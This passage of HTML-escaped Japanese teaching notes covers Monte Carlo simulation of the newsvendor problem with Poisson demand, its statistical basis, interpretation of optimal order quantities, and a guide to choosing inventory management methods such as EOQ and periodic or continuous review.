&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 様々な仕入部数 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; について総利益を計算&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 総利益が最大となる $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; を最適発注数量とする&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### シミュレーションの手順&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**パラメータの設定**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 仕入価格 $&lt;/span&gt;&lt;span&gt; c $&lt;/span&gt;&lt;span&gt;、販売価格 $&lt;/span&gt;&lt;span&gt; a $&lt;/span&gt;&lt;span&gt;、平均来客数 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda $&lt;/span&gt;&lt;span&gt;、シミュレーション日数 $&lt;/span&gt;&lt;span&gt; N $&lt;/span&gt;&lt;span&gt; を設定&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**需要の生成**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各日について、ポアソン分布 $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Poisson}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda) $&lt;/span&gt;&lt;span&gt; に従う乱数 $&lt;/span&gt;&lt;span&gt; x_i $&lt;/span&gt;&lt;span&gt; を生成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利益の計算**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各仕入部数 $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; について、各日の利益を計算：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     $$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     \&lt;/span&gt;&lt;span&gt;Pi&lt;/span&gt;&lt;span&gt;_i(Q) = a \&lt;/span&gt;&lt;span&gt;times&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;min&lt;/span&gt;&lt;span&gt;(Q, x_i) - c \&lt;/span&gt;&lt;span&gt;times&lt;/span&gt;&lt;span&gt; Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     $$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**総利益の計算**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; N $&lt;/span&gt;&lt;span&gt; 日間の総利益：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     $$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     \&lt;/span&gt;&lt;span&gt;Pi&lt;/span&gt;&lt;span&gt;_{\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{total}}(Q) = \&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;_{i=1}^{N} \&lt;/span&gt;&lt;span&gt;Pi&lt;/span&gt;&lt;span&gt;_i(Q)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;     $$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適発注数量の決定**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 様々な $&lt;/span&gt;&lt;span&gt; Q $&lt;/span&gt;&lt;span&gt; について総利益を計算し、最大となる $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; を求める&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図15: モンテカルロシミュレーション手順**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "モンテカルロシミュレーション手順"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[初期化&amp;lt;br/&amp;gt;Initialization&amp;lt;br/&amp;gt;c a λ N設定] --&amp;gt; B[乱数生成&amp;lt;br/&amp;gt;Random Number Generation&amp;lt;br/&amp;gt;x_i~Poissonλ&amp;lt;br/&amp;gt;i=1,2,...,N]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[利益計算ループ&amp;lt;br/&amp;gt;Profit Calculation Loop&amp;lt;br/&amp;gt;Q=Q_min to Q_max]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[各日の利益&amp;lt;br/&amp;gt;Daily Profit&amp;lt;br/&amp;gt;Π_iQ=a×minQ,x_i-c×Q]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[総利益集計&amp;lt;br/&amp;gt;Total Profit Aggregation&amp;lt;br/&amp;gt;Π_totalQ=ΣΠ_iQ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F{全Q探索完了?}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt;|No| C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt;|Yes| G[最適発注数量&amp;lt;br/&amp;gt;Optimal Order Quantity&amp;lt;br/&amp;gt;Q*=argmax Π_totalQ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "統計的分析"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[期待利益&amp;lt;br/&amp;gt;Expected Profit&amp;lt;br/&amp;gt;EΠQ*≈Π_totalQ*/N]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; I[利益の分散&amp;lt;br/&amp;gt;Profit Variance&amp;lt;br/&amp;gt;VarΠQ*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; J[信頼区間&amp;lt;br/&amp;gt;Confidence Interval&amp;lt;br/&amp;gt;95% CI for EΠ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "検証"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K[理論値&amp;lt;br/&amp;gt;Theoretical Value&amp;lt;br/&amp;gt;Q*_theory] --&amp;gt; L[シミュレーション値&amp;lt;br/&amp;gt;Simulation Value&amp;lt;br/&amp;gt;Q*_sim]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L --&amp;gt; M[比較検証&amp;lt;br/&amp;gt;Validation&amp;lt;br/&amp;gt;absQ*_theory-Q*_sim &amp;lt; ε]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### シミュレーション結果の解釈の注意点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;シミュレーション結果は、使用した乱数の系列に依存する。より信頼性の高い結果を得るためには：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**複数回のシミュレーション実行**&lt;/span&gt;&lt;span&gt;：異なる乱数系列で複数回実行し、平均を取る&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**十分な日数の設定**&lt;/span&gt;&lt;span&gt;：短期間のシミュレーションでは、偶然の変動の影響が大きい&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**理論値との比較**&lt;/span&gt;&lt;span&gt;：理論的に求めた最適発注数量と比較し、整合性を確認する&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### モンテカルロ法の統計的性質&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;モンテカルロシミュレーションは、&lt;/span&gt;&lt;span&gt;**大数の法則**&lt;/span&gt;&lt;span&gt;（Law of Large Numbers）と&lt;/span&gt;&lt;span&gt;**中心極限定理**&lt;/span&gt;&lt;span&gt;（Central Limit Theorem）に基づいている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**大数の法則**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;独立同分布な確率変数列 $&lt;/span&gt;&lt;span&gt; \{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi_i(Q)\}_{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^N $&lt;/span&gt;&lt;span&gt; に対して：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{N}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{N} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi_i(Q) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xrightarrow&lt;/span&gt;&lt;span&gt;{a.s.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)], &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad N &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**中心極限定理**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{N}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{N} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi_i(Q) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)]}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma/&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{N}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xrightarrow&lt;/span&gt;&lt;span&gt;{d} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}(&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad N &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;infty&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Var}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)) $&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、$&lt;/span&gt;&lt;span&gt; N $&lt;/span&gt;&lt;span&gt; が十分大きい場合、標本平均は近似的に正規分布に従い、&lt;/span&gt;&lt;span&gt;**信頼区間**&lt;/span&gt;&lt;span&gt;を構築できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi(Q)] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi}_N(Q) - z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{N}}, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi}_N(Q) + z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{N}}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi}_N(Q) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{N}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{N} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Pi_i(Q) $&lt;/span&gt;&lt;span&gt; は標本平均である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## シミュレーション結果の解釈&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 「8部仕入れ」で最高益になった場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**理由の例**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 仕入れ価格が80円、販売価格が120円であることから、1部販売したときの利益（40円）に比べて売れ残った場合の損失（80円）が大きい&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; このため、売れ残りが出ないよう客数の平均より少なめに仕入れることで利益が大きくなったと考えられる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**数式的な説明**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 限界利益：$&lt;/span&gt;&lt;span&gt; a - c = &lt;/span&gt;&lt;span&gt;120&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;40&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 限界損失：$&lt;/span&gt;&lt;span&gt; c = &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 限界損失の方が大きいため、保守的な発注が最適&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 「10部仕入れ」で最高益になった場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**理由の例**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 客数の平均に合わせることで無駄なく販売できたため&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要の変動が小さく、平均需要が最適解に近い場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 「12部仕入れ」で最高益になった場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**理由の例**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 客数が増えても逃さずに多く販売できたため&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 限界利益が限界損失より大きい場合、積極的な発注が最適&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 最適発注数量の判断基準&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注数量は、以下の比率によって判断できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{仕入価格}}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{販売価格}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} $&lt;/span&gt;&lt;span&gt; が大きい（仕入価格が高い）→ 保守的な発注&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a} $&lt;/span&gt;&lt;span&gt; が小さい（仕入価格が低い）→ 積極的な発注&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この比率と需要分布の累積分布関数から、最適発注数量 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; が決定される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 在庫管理方式の選択指針&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 各方式の適用場面&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 方式 | 適用場面 | 特徴 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|------|---------|------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| &lt;/span&gt;&lt;span&gt;**EOQモデル**&lt;/span&gt;&lt;span&gt; | 需要が安定している商品、発注費用と保管費用のバランスが重要 | 理論的に最適な発注量を決定 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| &lt;/span&gt;&lt;span&gt;**定期発注方式**&lt;/span&gt;&lt;span&gt; | 発注業務を定期化したい場合、需要が比較的安定している場合 | 発注業務の計画性が高い |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| &lt;/span&gt;&lt;span&gt;**定量発注方式**&lt;/span&gt;&lt;span&gt; | 需要変動が大きい場合、発注量を固定したい場合 | 在庫水準の管理が容易 |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| &lt;/span&gt;&lt;span&gt;**新聞売り子モデル**&lt;/span&gt;&lt;span&gt; | 需要が不確実で、売れ残りと機会損失のバランスが重要 | 確率的需要に対応 |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 方式選択の判断基準&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**需要の変動性**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要が安定 → EOQモデル、定期発注方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要が変動 → 定量発注方式、新聞売り子モデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**商品の特性**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 長期保管可能 → EOQモデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 短期で劣化・陳腐化 → 新聞売り子モデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**発注業務の制約**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注時期を固定したい → 定期発注方式&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注量を固定したい → 定量発注方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**コスト構造**&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注費用と保管費用のバランスが重要 → EOQモデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 売れ残り損失と機会損失のバランスが重要 → 新聞売り子モデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図16: 在庫管理方式の選択指針**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "方式選択の意思決定ツリー"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[在庫管理方式選択&amp;lt;br/&amp;gt;Inventory System Selection] --&amp;gt; B{需要の変動性&amp;lt;br/&amp;gt;Demand Variability}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|需要が安定&amp;lt;br/&amp;gt;Stable Demand&amp;lt;br/&amp;gt;CV&amp;lt;0.2| C{発注業務制約&amp;lt;br/&amp;gt;Ordering Constraints}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt;|需要が変動&amp;lt;br/&amp;gt;Variable Demand&amp;lt;br/&amp;gt;CV≥0.2| D{商品特性&amp;lt;br/&amp;gt;Product Characteristics}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|発注時期固定&amp;lt;br/&amp;gt;Fixed Order Period| E[定期発注方式&amp;lt;br/&amp;gt;Periodic Review&amp;lt;br/&amp;gt;発注間隔T固定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt;|発注量固定&amp;lt;br/&amp;gt;Fixed Order Quantity| F[定量発注方式&amp;lt;br/&amp;gt;Continuous Review&amp;lt;br/&amp;gt;発注点ROP]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;/div&gt;
